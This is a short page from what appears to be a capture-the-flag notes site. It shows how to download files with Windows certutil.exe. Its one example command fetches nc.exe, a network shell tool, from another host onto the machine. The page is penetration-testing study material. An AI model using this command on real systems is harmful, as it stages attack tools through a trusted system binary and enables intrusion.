> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/file-transfers/transfers-with-certutil.md).

# Transfers with certutil

Certutil.exe is a command-line program installed as part of Certificate Services.

## File download with certutil.exe

```
C:\Users\offsec\Downloads>certutil -urlcache -split -f http://192.168.48.3/nc.exe nc.exe
****  Online  ****
  0000  ...
  e800
CertUtil: -URLCache command completed successfully.
```

## References

**certutil** - LOLBAS: <https://lolbas-project.github.io/lolbas/Binaries/Certutil/>

**certutil** - Microsoft Learn: <https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil>